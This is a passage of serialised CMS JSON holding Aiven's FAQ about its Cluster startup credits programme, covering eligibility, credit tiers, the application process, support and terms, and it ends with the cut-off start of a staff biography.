address"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"44f38e2295e1","_type":"block","children":[{"_key":"1bc325f487c4","_type":"span","marks":[],"text":"*If you are not affiliated with one of our partners, you can still apply and will qualify for maximum $12,000 in credits. We still require that you provide proof of having fundraised."}],"markDefs":[],"style":"normal"},{"_key":"c9b0728d21bb","_type":"block","children":[{"_key":"d20e1023eb7b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"029e8c744a29","_type":"block","children":[{"_key":"68b14a741bdb","_type":"span","marks":[],"text":"The Cluster startup program is only available to innovative technology companies and at the moment is not open to agencies, consulting companies, NGOs or educational institutions. "}],"markDefs":[],"style":"normal"}],"title":"What are the eligibility criteria for startups?"},{"_key":"31e49791a5f8","_type":"accordionItem","panelText":[{"_key":"8518261a4935","_type":"block","children":[{"_key":"3e9a7ceb7239","_type":"span","marks":[],"text":"The amount of credits you are eligible for depends on:"}],"markDefs":[],"style":"normal"},{"_key":"4a2d6b6721ba","_type":"block","children":[{"_key":"337f6827ea46","_type":"span","marks":[],"text":"wether or not you are affiliated with one of the Aiven partners"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e22989304334","_type":"block","children":[{"_key":"e9476682fdab","_type":"span","marks":[],"text":"which partner you are affiliated with"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02fe4d0a068c","_type":"block","children":[{"_key":"07d98cb0c6e9","_type":"span","marks":[],"text":"whether or not you have raised funding from investors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0871e58bb5dc","_type":"block","children":[{"_key":"a6931dc43717","_type":"span","marks":[],"text":"Please check the eligibility criteria and if you have any questions, send us an email at cluster@aiven.io."}],"markDefs":[],"style":"normal"}],"title":"What factors influence the amount of credits that Aiven will provide?"},{"_key":"cd229864a7d3","_type":"accordionItem","panelText":[{"_key":"3e3cc1d4123b","_type":"block","children":[{"_key":"f417536bce910","_type":"span","marks":[],"text":"Here is a "},{"_key":"0d2120892760","_type":"span","marks":["c967a009293a"],"text":"full list of partners"},{"_key":"93a774f82f69","_type":"span","marks":[],"text":" associated with Aiven Cluster."}],"markDefs":[{"_key":"c967a009293a","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"}],"title":"Where can I find the full list of network partners affiliated with Aiven Cluster?"},{"_key":"0820957884fb","_type":"accordionItem","panelText":[{"_key":"ff9344736546","_type":"block","children":[{"_key":"948a2f09d6670","_type":"span","marks":[],"text":"No problem. We’ve created a lower credit tier for startups not associated with our partners. You can still apply and if you meet the eligibility criteria, you will be able to join the program and receive $12,000 in credits."}],"markDefs":[],"style":"normal"},{"_key":"e773c10b66ab","_type":"block","children":[{"_key":"6ec8c33ebf830","_type":"span","marks":[],"text":"Please note that you will need to have raised funding in order to qualify for the credits."}],"markDefs":[],"style":"normal"}],"title":"I am not associated with any of the Cluster program partners. Can I still apply?"},{"_key":"7b28ba72f11c","_type":"accordionItem","panelText":[{"_key":"1d0d2563f2b7","_type":"block","children":[{"_key":"a877782be6a80","_type":"span","marks":[],"text":"If you haven't raised funding yet, you can still apply as long as you are affiliated with one of Cluster's accelerator, incubator or co-working space partners. "}],"markDefs":[],"style":"normal"}],"title":"How can we participate if we don’t have investor backing?"},{"_key":"2957d6f873e8","_type":"accordionItem","panelText":[{"_key":"37a166a65f2d","_type":"block","children":[{"_key":"b1b2ea26fc5a0","_type":"span","marks":[],"text":"Yes - providing you meet the eligibility criteria."}],"markDefs":[],"style":"normal"}],"title":"Can existing Aiven customers apply to the Cluster startup program?"},{"_key":"9b980b9d03e2","_type":"accordionItem","panelText":[{"_key":"fe6ccad02560","_type":"block","children":[{"_key":"0df29702de650","_type":"span","marks":[],"text":"Applications are accepted and considered continually, with new participants selected each month. Once you apply, please give us 14 days to review your application and, if needed, get back to you with any additional questions."}],"markDefs":[],"style":"normal"},{"_key":"a2a6f0d23bf7","_type":"block","children":[{"_key":"fa83c074472e","_type":"span","marks":[],"text":"Newly accepted startups join the program on the first Monday of every month. Joint kick-off calls for new participants are held quarterly."}],"markDefs":[],"style":"normal"},{"_key":"fdb923c7182e","_type":"block","children":[{"_key":"03d0dec464c70","_type":"span","marks":[],"text":"Please note that Aiven reserves the right to change the schedule as necessary."}],"markDefs":[],"style":"normal"}],"title":"What is the application process and timeline?"},{"_key":"4c17284f8957","_type":"accordionItem","panelText":[{"_key":"061c2a4e7220","_type":"block","children":[{"_key":"5e6db1564d000","_type":"span","marks":[],"text":"Yes, seriously! You can use the startup program credits over 12 months to purchase the services, cloud data plans, and additional support that you need to build a modern modern data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"7caf9e31074c","_type":"block","children":[{"_key":"3ab402da507d","_type":"span","marks":[],"text":"What you build with our services is entirely up to you."}],"markDefs":[],"style":"normal"},{"_key":"369b7b04db32","_type":"block","children":[{"_key":"99303840282d0","_type":"span","marks":[],"text":"With 100K of Aiven credits, you could run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months. Or, you could take a modest Kafka Business-8 package ... and run that with plenty of spare credits left over for something else."}],"markDefs":[],"style":"normal"},{"_key":"9b5e7c458acc","_type":"block","children":[{"_key":"57031624128f0","_type":"span","marks":[],"text":"For a more complete package, how about a serious PostgreSQL business-64 service with workhorse OpenSearch business-32 service, a Redis business-64 for caching to keep your apps running nicely, an M3 for all your metrics (business-16 should do nicely) and Grafana to keep an eye on things - and you can run that for a year."}],"markDefs":[],"style":"normal"}],"title":"Seriously? Up to $100,000 credits? What can I do with that?"},{"_key":"e285a2b5ea2e","_type":"accordionItem","panelText":[{"_key":"a5a0d44a0a6c","_type":"block","children":[{"_key":"fc6a83f74e180","_type":"span","marks":[],"text":"We conduct interviews with the most active startups in the program and promote them through our channels, for example, Linkedin, Twitter, blog posts, etc. See an example "},{"_key":"fc6a83f74e181","_type":"span","marks":["147f8d385158"],"text":"here"},{"_key":"fc6a83f74e182","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"147f8d385158","_type":"link","href":"https://aiven.io/blog/cooking-with-apache-kafka"}],"style":"normal"}],"title":"How does Aiven promote startups in the program?"},{"_key":"2614c1ad90d8","_type":"accordionItem","panelText":[{"_key":"86b83c33fba7","_type":"block","children":[{"_key":"b17fafb2111e0","_type":"span","marks":[],"text":"When an applicant submits the application form, the applicant must agree to acknowledge that the use of the Aiven services is subject to Aiven online T\u0026Cs which are to be accepted when signing in to the Aiven console, and that Aiven may always stop giving free credits or cancel any credits given."}],"markDefs":[],"style":"normal"},{"_key":"94fbdf58c1af","_type":"block","children":[{"_key":"1644a343a52c0","_type":"span","marks":[],"text":"The amount of credits awarded to successful applicants is up to $100,000 depending on the use of services."}],"markDefs":[],"style":"normal"},{"_key":"e07e41c9f00b","_type":"block","children":[{"_key":"a1c4c2122b0b0","_type":"span","marks":[],"text":"Aiven reserves the right to cancel credits in order to be able to react in the event participant would breach the online T\u0026Cs or would otherwise use the credits against the purpose of the Cluster program."}],"markDefs":[],"style":"normal"}],"title":"What are the terms and conditions of the Cluster startup program?"},{"_key":"c75485338d9e","_type":"accordionItem","panelText":[{"_key":"5f00f1f8e928","_type":"block","children":[{"_key":"5587819607b30","_type":"span","marks":[],"text":"Your credits are valid for 12 months, so if you haven’t used them by the end of the program, they will expire."}],"markDefs":[],"style":"normal"}],"title":"What happens if I don’t use all my credits within the year?"},{"_key":"cff0e9493ac3","_type":"accordionItem","panelText":[{"_key":"4782dc96a109","_type":"block","children":[{"_key":"c62709a44e640","_type":"span","marks":[],"text":"Yes, you should still apply and indicate in the application form that you would like to start using credits later on. We can then discuss the best starting date for you."}],"markDefs":[],"style":"normal"}],"title":"I want to join the program but I am not ready to use the credits right away. Should I still apply?"},{"_key":"94b9bb67f958","_type":"accordionItem","panelText":[{"_key":"fc1cd1aaaca4","_type":"block","children":[{"_key":"4fabb03ff1de0","_type":"span","marks":[],"text":"The credit value depends on which partner you are affiliated with and can be as high as $100,000. If you are not affiliated with a Cluster partner, you can qualify for $12,000. Once you fill out the application form, we will let you know how many credits you are eligible for."}],"markDefs":[],"style":"normal"}],"title":"How many credits can I get?"},{"_key":"a891ad2c337b","_type":"accordionItem","panelText":[{"_key":"a9db1460e943","_type":"block","children":[{"_key":"9a2308eac3d50","_type":"span","marks":[],"text":"No. You can only receive Cluster credits once."}],"markDefs":[],"style":"normal"}],"title":"Can I apply for credits more than once?"},{"_key":"afe37d982eef","_type":"accordionItem","panelText":[{"_key":"018d2ea2ee0a","_type":"block","children":[{"_key":"61f1b84b0a590","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. Aiven's personnel will commence work on any issues in system operations requiring manual intervention without delay."}],"markDefs":[],"style":"normal"},{"_key":"9bc54fd8846f","_type":"block","children":[{"_key":"aa83153dbf2c0","_type":"span","marks":[],"text":"For Cluster program participants, Aiven provides Basic level support without separate charge through email regarding problems related to using and accessing the Aiven Cloud Services. Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[],"style":"normal"},{"_key":"a046cf20702b","_type":"block","children":[{"_key":"0a6f1381bd0c","_type":"span","marks":[],"text":"You can read more about the support Aiven offers on https://aiven.io/support-services."}],"markDefs":[],"style":"normal"},{"_key":"fe3732118e3b","_type":"block","children":[{"_key":"246cdf3aeef7","_type":"span","marks":[],"text":"To access support, you will need to log a support ticket through the Aiven console. "}],"markDefs":[],"style":"normal"}],"title":"What technical support does Aiven offer \u0026 how do I access it?"},{"_key":"307f7fae7bb6","_type":"accordionItem","panelText":[{"_key":"fcbf6fbf37ff","_type":"block","children":[{"_key":"f0b2d0fd25580","_type":"span","marks":[],"text":"Yes, you can access the difference between the lowest tier and the amount you are eligible for through affiliation with our partner. We can’t extend the time frame when you can use the credits, but we can grant you the difference. Reach out to us at cluster@aiven.io to discuss the details."}],"markDefs":[],"style":"normal"}],"title":"I started out on the lowest credit tier and I am now affiliated with one of the Cluster partners. Can I get more credits?"},{"_key":"0dc056b16566","_type":"accordionItem","panelText":[{"_key":"e8ad8337a9a0","_type":"block","children":[{"_key":"6faa56bd70d40","_type":"span","marks":[],"text":"We don’t ask you to commit to using Aiven after you run out of credits. However, we think that you are going to like the product and and hope you'll stay with Aiven for the long run."}],"markDefs":[],"style":"normal"}],"title":"Do I have to continue using Aiven after the Cluster program ends?"},{"_key":"80160998087d","_type":"accordionItem","panelText":[{"_key":"ebcc480e1bba","_type":"block","children":[{"_key":"0ee30ce3e8560","_type":"span","marks":["strong"],"text":"Why did Aiven launch the Cluster startup program?"}],"markDefs":[],"style":"normal"},{"_key":"e47e62e9115c","_type":"block","children":[{"_key":"5331e186f8dd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"About Aiven \u0026 the Cluster startup program"}],"rounded":false,"title":"Cluster FAQ"},{"_key":"be89e40a9209fa29a4ccc3a1170e6b6b","_type":"accordion","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"80160998087d","_type":"accordionItem","panelText":[{"_key":"ebcc480e1bba","_type":"block","children":[{"_key":"0ee30ce3e8560","_type":"span","marks":["strong"],"text":"Why did Aiven launch the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"8cb2c4eaacfc","_type":"block","children":[{"_key":"cd3870c5838a","_type":"span","marks":[],"text":"Startup programs were critical to our early development and success, and their support helped us grow into the "},{"_key":"22034714ffa3","_type":"span","marks":["b202921ba490"],"text":"Unicorn"},{"_key":"cc8488ca7ee4","_type":"span","marks":[],"text":" we are today. As Aiven has now reached a maturity level where we are in a position to give back, we want to support other startups in their journey, helping them to scale up and grow."}],"markDefs":[{"_key":"b202921ba490","_type":"internalLink","internalLink":{"_ref":"5rQCh0etMiAbkYM5ZZfaf2","_type":"reference"}}],"style":"normal"},{"_key":"78f0584ed5e6","_type":"block","children":[{"_key":"c76e42ebd013","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a03a92ac959c","_type":"block","children":[{"_key":"ad65f8a5f3e50","_type":"span","marks":["strong"],"text":"What does Aiven do?"}],"markDefs":[],"style":"h5"},{"_key":"8a9ca87899a7","_type":"block","children":[{"_key":"fcbb7ce983e1","_type":"span","marks":[],"text":"In short, Aiven makes setting up cloud databases and the infrastructure needed for them to operate so simple that anyone can do it."}],"markDefs":[],"style":"normal"},{"_key":"a79ba9795efe","_type":"block","children":[{"_key":"de49a0409790","_type":"span","marks":[],"text":"We provide a selection of reliable, open source products – tools like Apache Kafka, PostgreSQL, MySQL, Apache Flink, ClickHouse, OpenSearch, and more – that you can install at the click of a button."}],"markDefs":[],"style":"normal"},{"_key":"2ee5b2043e44","_type":"block","children":[{"_key":"7dbd9f765fb6","_type":"span","marks":[],"text":"Our platform allows developers and software architects to set up their databases and get familiar tools on all major cloud platforms (like Google, AWS or Azure) in a matter of minutes. It’s simple, secure, and everything is open source, so you keep control of all your data. You can move it between cloud regions and providers, duplicate it, and do whatever you want with it – and you don’t have to jump through hoops to do it."}],"markDefs":[],"style":"normal"},{"_key":"430b30e417c4","_type":"block","children":[{"_key":"3f3437e3bee9","_type":"span","marks":[],"text":"But while we make it simple to set up your data, it’s what you do with it next that’s where the awesome happens."}],"markDefs":[],"style":"normal"}],"title":"About Aiven \u0026 the Cluster startup program"},{"_key":"a2827132abed","_type":"accordionItem","panelText":[{"_key":"2681004c07d5","_type":"block","children":[{"_key":"6fe62fcbfb220","_type":"span","marks":["strong"],"text":"What are the eligibility criteria for startups?"}],"markDefs":[],"style":"h5"},{"_key":"6bde3a092fb9","_type":"block","children":[{"_key":"c9a00859e0f2","_type":"span","marks":[],"text":"To be eligible to apply to Aiven Cluster startup program, you need:"}],"markDefs":[],"style":"normal"},{"_key":"578f88e0ccf5","_type":"block","children":[{"_key":"4caf4b518e6d","_type":"span","marks":[],"text":"Proof of affiliation with an approved network partner (VC, accelerator, incubator, or co-working space)*"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"159760654eda","_type":"block","children":[{"_key":"35df373f10a0","_type":"span","marks":[],"text":"Maximum startup age: 7 years"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7b7246c4e277","_type":"block","children":[{"_key":"d7bc019f6d58","_type":"span","marks":[],"text":"Startup funding no greater than Series B"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"448e1e2f89d6","_type":"block","children":[{"_key":"310bdbb4bfa5","_type":"span","marks":[],"text":"A company website and associated email address"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"12dd7587a7de","_type":"block","children":[{"_key":"c13d4f5e782f","_type":"span","marks":[],"text":"*If you are not affiliated with one of our partners, you can still apply and will qualify for maximum $12,000 in credits. We still require that you provide proof of having fundraised."}],"markDefs":[],"style":"normal"},{"_key":"0d8432013c4e","_type":"block","children":[{"_key":"e55be191a11f","_type":"span","marks":[],"text":"The Cluster startup program is only available to innovative technology companies and at the moment is not open to agencies, consulting companies, NGOs or educational institutions. "}],"markDefs":[],"style":"normal"},{"_key":"407595ae76bb","_type":"block","children":[{"_key":"05fdaef2d2bd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"19382ac0bd9a","_type":"block","children":[{"_key":"b466a608584b","_type":"span","marks":["strong"],"text":"How many credits can I get?"}],"markDefs":[],"style":"h5"},{"_key":"2a19f1e2f86b","_type":"block","children":[{"_key":"44831da2e5c8","_type":"span","marks":[],"text":"The credit value depends on which partner you are affiliated with and can be as high as $100,000. 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Once you fill out the application form, we will let you know how many credits you are eligible for.\n"}],"markDefs":[],"style":"normal"},{"_key":"12b7a6d56486","_type":"block","children":[{"_key":"08776e19b5420","_type":"span","marks":["strong"],"text":"How can we participate if we don’t have investor backing?"}],"markDefs":[],"style":"h5"},{"_key":"31c2cbe65d97","_type":"block","children":[{"_key":"b6641749338d0","_type":"span","marks":[],"text":"If you haven't raised funding yet, you can still apply as long as you are affiliated with one of Cluster's accelerator, incubator or co-working space partners."}],"markDefs":[],"style":"normal"},{"_key":"7ccb7866d5d1","_type":"block","children":[{"_key":"bf96e1899ceb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"734df09745af","_type":"block","children":[{"_key":"1a51a7b8e8d20","_type":"span","marks":["strong"],"text":"Can existing Aiven customers apply to the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"f7353b70e42d","_type":"block","children":[{"_key":"26ace8bd1513","_type":"span","marks":[],"text":"Yes - as long as you meet the eligibility criteria."}],"markDefs":[],"style":"normal"},{"_key":"6f51513eb04c","_type":"block","children":[{"_key":"429205aec797","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"577e524ba115","_type":"block","children":[{"_key":"2afc047d762d0","_type":"span","marks":["strong"],"text":"What is the application process and timeline?"}],"markDefs":[],"style":"h5"},{"_key":"72e71ec427a1","_type":"block","children":[{"_key":"3973385e1a69","_type":"span","marks":[],"text":"Applications are accepted and considered continually, with new participants selected each month. Once you apply, please give us 14 days to review your application and, if needed, get back to you with any additional questions."}],"markDefs":[],"style":"normal"},{"_key":"0ac68bf666e5","_type":"block","children":[{"_key":"46ead206950d","_type":"span","marks":[],"text":"Newly accepted startups join the program on the first Monday of every month. Joint kick-off calls for new participants are held monthly."}],"markDefs":[],"style":"normal"},{"_key":"3a6c8c734474","_type":"block","children":[{"_key":"3c1b5eff6936","_type":"span","marks":[],"text":"Please note that Aiven reserves the right to change the schedule as necessary."}],"markDefs":[],"style":"normal"},{"_key":"55c5405d506f","_type":"block","children":[{"_key":"60bc014a4307","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ac0de2dd49e3","_type":"block","children":[{"_key":"90e8d6bcb8b50","_type":"span","marks":["strong"],"text":"I am not associated with any of the Cluster program partners. Can I still apply?"}],"markDefs":[],"style":"h5"},{"_key":"56f5427e7147","_type":"block","children":[{"_key":"98d109d70402","_type":"span","marks":[],"text":"No problem. We’ve created a lower credit tier for startups not associated with our partners. You can still apply and if you meet the eligibility criteria, you will be able to join the program and receive $12,000 in credits."}],"markDefs":[],"style":"normal"},{"_key":"fbfa4e44ac4c","_type":"block","children":[{"_key":"3cf071361e6d","_type":"span","marks":[],"text":"Please note that you will need to have raised funding in order to qualify for the credits."}],"markDefs":[],"style":"normal"},{"_key":"d41df345538d","_type":"block","children":[{"_key":"4aa9ad8cc8010","_type":"span","marks":[],"text":"I want to join the program but I am not ready to use the credits right away. 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We can then discuss the best starting date for you."}],"markDefs":[],"style":"normal"},{"_key":"1faf553cd5cd","_type":"block","children":[{"_key":"6e3b23d4d09d0","_type":"span","marks":[],"text":"Where can I find the full list of network partners affiliated with Aiven Cluster?"}],"markDefs":[],"style":"h5"},{"_key":"e1f1c47a6889","_type":"block","children":[{"_key":"3c64129c8b54","_type":"span","marks":[],"text":"Here is a "},{"_key":"177dbbdd8bb1","_type":"span","marks":["80d9c80ec5b6"],"text":"full list of partners"},{"_key":"4eba3361cecb","_type":"span","marks":[],"text":" associated with Aiven Cluster."}],"markDefs":[{"_key":"80d9c80ec5b6","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"}],"title":"Eligibility criteria, program application and credit tiers"},{"_key":"567da99ff303","_type":"accordionItem","panelText":[{"_key":"ea973abbc86e","_type":"block","children":[{"_key":"79ce975196860","_type":"span","marks":[],"text":"Seriously? Up to $100,000 credits? What can I do with that?"}],"markDefs":[],"style":"h5"},{"_key":"c37b079cb049","_type":"block","children":[{"_key":"557e3bd523f0","_type":"span","marks":[],"text":"Yes, seriously! You can use the startup program credits over 12 months to purchase the services, cloud data plans, and additional support that you need to build a modern modern data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"ee31cbf489d8","_type":"block","children":[{"_key":"7e9d39181771","_type":"span","marks":[],"text":"What you build with our services is entirely up to you."}],"markDefs":[],"style":"normal"},{"_key":"6ed69f089613","_type":"block","children":[{"_key":"cba1a01622f8","_type":"span","marks":[],"text":"With 100K of Aiven credits, you could run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months. Or, you could take a modest Kafka Business-8 package ... and run that with plenty of spare credits left over for something else."}],"markDefs":[],"style":"normal"},{"_key":"4275c4c1a89d","_type":"block","children":[{"_key":"c47e722ac428","_type":"span","marks":[],"text":"For a more complete package, how about a serious PostgreSQL business-64 service with workhorse OpenSearch business-32 service, a Redis business-64 for caching to keep your apps running nicely, an M3 for all your metrics (business-16 should do nicely) and Grafana to keep an eye on things - and you can run that for a year."}],"markDefs":[],"style":"normal"},{"_key":"5b4a1698ff43","_type":"block","children":[{"_key":"89bc775af945","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"30241b38d8c2","_type":"block","children":[{"_key":"2ab9a181292e0","_type":"span","marks":[],"text":"How does Aiven promote startups in the program?"}],"markDefs":[],"style":"h5"},{"_key":"f8f8e59e3c23","_type":"block","children":[{"_key":"d17bcabdb055","_type":"span","marks":[],"text":"We conduct interviews with the most active startups in the program and promote them through our channels, for example, Linkedin, Twitter, blog posts, etc. See an example "},{"_key":"6372f5c914fd","_type":"span","marks":["c72426d343f8"],"text":"here"},{"_key":"820b1580f315","_type":"span","marks":[],"text":". We also invite startups to speak at our meetups and events, and award notable achievements publicly. "}],"markDefs":[{"_key":"c72426d343f8","_type":"link","href":"https://aiven.io/blog/data-for-good"}],"style":"normal"},{"_key":"7b5c5b978001","_type":"block","children":[{"_key":"25124620189b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9093380e7e3d","_type":"block","children":[{"_key":"633df96af7870","_type":"span","marks":[],"text":"What technical support does Aiven offer \u0026 how do I access it?"}],"markDefs":[],"style":"h5"},{"_key":"cbec7b409523","_type":"block","children":[{"_key":"adcf230878e8","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. Aiven's personnel will commence work on any issues in system operations requiring manual intervention without delay."}],"markDefs":[],"style":"normal"},{"_key":"2825946c1d6d","_type":"block","children":[{"_key":"fce9a8c68ae0","_type":"span","marks":[],"text":"For Cluster program participants, Aiven provides Basic level support without separate charge through email regarding problems related to using and accessing the Aiven Cloud Services. Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[],"style":"normal"},{"_key":"09fae2280f10","_type":"block","children":[{"_key":"cc2a763f4fb1","_type":"span","marks":[],"text":"You can read more about the support Aiven offers on https://aiven.io/support-services."}],"markDefs":[],"style":"normal"},{"_key":"c9a244d9277d","_type":"block","children":[{"_key":"5e6fb2e83cf0","_type":"span","marks":[],"text":"To access support, you will need to log a support ticket through the Aiven console. "}],"markDefs":[],"style":"normal"}],"title":"Program perks"},{"_key":"44d94881f694","_type":"accordionItem","panelText":[{"_key":"9da7a7c53eff","_type":"block","children":[{"_key":"e43437d901b90","_type":"span","marks":[],"text":"What are the terms and conditions of the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"f1fa79078996","_type":"block","children":[{"_key":"d2b2095e97bd","_type":"span","marks":[],"text":"When an applicant submits the application form, the applicant must agree to acknowledge that the use of the Aiven services is subject to Aiven online T\u0026Cs which are to be accepted when signing in to the Aiven console, and that Aiven may always stop giving free credits or cancel any credits given."}],"markDefs":[],"style":"normal"},{"_key":"d3265afa7392","_type":"block","children":[{"_key":"db5a225a71a1","_type":"span","marks":[],"text":"The amount of credits awarded to successful applicants is up to $100,000 depending on the use of services."}],"markDefs":[],"style":"normal"},{"_key":"039d29a01973","_type":"block","children":[{"_key":"9a468d3578cd","_type":"span","marks":[],"text":"Aiven reserves the right to cancel credits in order to be able to react in the event participant would breach the online T\u0026Cs or would otherwise use the credits against the purpose of the Cluster program."}],"markDefs":[],"style":"normal"},{"_key":"96f94ec2d79e","_type":"block","children":[{"_key":"6805e3541101","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"54e610f1df18","_type":"block","children":[{"_key":"72c07c13a2750","_type":"span","marks":[],"text":"What happens if I don’t use all my credits within the year?"}],"markDefs":[],"style":"h5"},{"_key":"c84b7aa7af74","_type":"block","children":[{"_key":"55dd69e38b47","_type":"span","marks":[],"text":"Your credits are valid for 12 months, so if you haven’t used them by the end of the program, they will expire."}],"markDefs":[],"style":"normal"},{"_key":"36d138287ca1","_type":"block","children":[{"_key":"90ebda7a5060","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"321142cb010f","_type":"block","children":[{"_key":"8b79c965d0cd0","_type":"span","marks":[],"text":"Can I apply for credits more than once?"}],"markDefs":[],"style":"h5"},{"_key":"b4bfde5ef741","_type":"block","children":[{"_key":"766cdfe5a8d6","_type":"span","marks":[],"text":"No. You can only receive Cluster credits once."}],"markDefs":[],"style":"normal"},{"_key":"c7171f14ff35","_type":"block","children":[{"_key":"d242eb20d2430","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d0ba74fc0a50","_type":"block","children":[{"_key":"44d8d4b7c632","_type":"span","marks":[],"text":"I started out on the lowest credit tier and I am now affiliated with one of the Cluster partners. Can I get more credits?"}],"markDefs":[],"style":"h5"},{"_key":"3d45578cf726","_type":"block","children":[{"_key":"2d1ce36e567d","_type":"span","marks":[],"text":"Yes, you can access the difference between the lowest tier and the amount you are eligible for through affiliation with our partner. We can’t extend the time frame when you can use the credits, but we can grant you the difference. Reach out to us at cluster@aiven.io to discuss the details."}],"markDefs":[],"style":"normal"},{"_key":"85169a8a9ce5","_type":"block","children":[{"_key":"e5edff44bbbc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"56b9a2391894","_type":"block","children":[{"_key":"98586eaa24490","_type":"span","marks":[],"text":"Do I have to continue using Aiven after the Cluster program ends?"}],"markDefs":[],"style":"h5"},{"_key":"9fde0666c076","_type":"block","children":[{"_key":"3b9c6fc4e49e","_type":"span","marks":[],"text":"We don’t ask you to commit to using Aiven after you run out of credits. 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Can I still apply?"}],"markDefs":[],"style":"h5"},{"_key":"56f5427e7147","_type":"block","children":[{"_key":"98d109d70402","_type":"span","marks":[],"text":"No problem. We’ve created a lower credit tier for startups not associated with our partners. You can still apply and if you meet the eligibility criteria, you will be able to join the program and receive $12,000 in credits."}],"markDefs":[],"style":"normal"},{"_key":"fbfa4e44ac4c","_type":"block","children":[{"_key":"3cf071361e6d","_type":"span","marks":[],"text":"Please note that you will need to have raised funding in order to qualify for the credits."}],"markDefs":[],"style":"normal"},{"_key":"d41df345538d","_type":"block","children":[{"_key":"4aa9ad8cc8010","_type":"span","marks":[],"text":"I want to join the program but I am not ready to use the credits right away. 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Up to $100,000 credits? What can I do with that?"}],"markDefs":[],"style":"h5"},{"_key":"c37b079cb049","_type":"block","children":[{"_key":"557e3bd523f0","_type":"span","marks":[],"text":"Yes, seriously! You can use the startup program credits over 12 months to purchase the services, cloud data plans, and additional support that you need to build a modern modern data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"ee31cbf489d8","_type":"block","children":[{"_key":"7e9d39181771","_type":"span","marks":[],"text":"What you build with our services is entirely up to you."}],"markDefs":[],"style":"normal"},{"_key":"6ed69f089613","_type":"block","children":[{"_key":"cba1a01622f8","_type":"span","marks":[],"text":"With 100K of Aiven credits, you could run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months. Or, you could take a modest Kafka Business-8 package ... and run that with plenty of spare credits left over for something else."}],"markDefs":[],"style":"normal"},{"_key":"4275c4c1a89d","_type":"block","children":[{"_key":"c47e722ac428","_type":"span","marks":[],"text":"For a more complete package, how about a serious PostgreSQL business-64 service with workhorse OpenSearch business-32 service, a Redis business-64 for caching to keep your apps running nicely, an M3 for all your metrics (business-16 should do nicely) and Grafana to keep an eye on things - and you can run that for a year."}],"markDefs":[],"style":"normal"},{"_key":"5b4a1698ff43","_type":"block","children":[{"_key":"89bc775af945","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"30241b38d8c2","_type":"block","children":[{"_key":"2ab9a181292e0","_type":"span","marks":[],"text":"How does Aiven promote startups in the program?"}],"markDefs":[],"style":"h5"},{"_key":"f8f8e59e3c23","_type":"block","children":[{"_key":"d17bcabdb055","_type":"span","marks":[],"text":"We conduct interviews with the most active startups in the program and promote them through our channels, for example, Linkedin, Twitter, blog posts, etc. See an example "},{"_key":"6372f5c914fd","_type":"span","marks":["c72426d343f8"],"text":"here"},{"_key":"820b1580f315","_type":"span","marks":[],"text":". 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{"__i18n_lang":"en","_createdAt":"2023-10-19T12:34:21Z","_id":"06351859-4133-4e23-8ce0-c21b375ab138","_rev":"1Lf0lTITu85vuB356R3aWr","_type":"person","_updatedAt":"2023-10-25T14:49:29Z","bio":[{"_key":"5a44b1043bad","_type":"block","children":[{"_key":"43c5df81e33c0","_type":"span","marks":[],"text":"Phil Leggetter is an experienced Developer Relations, Developer Experience, and DevTools PLG leader with experience guiding startups through growth, acquisition, and accelerated growth at a publicly traded enterprise."}],"markDefs":[],"style":"normal"},{"_key":"6409c5286394","_type":"block","children":[{"_key":"b31a842bac74","_type":"span","marks":[],"text":"\nPhil has spent all of his career building software experiences to maximize developer productivity at companies such as Pusher (acquired by Message Bird), Nexmo (Acquired by Vonage), and most recently Hookdeck, an Event Gateway that enables engineering teams to build, test, deploy, maintain, and observe event-driven 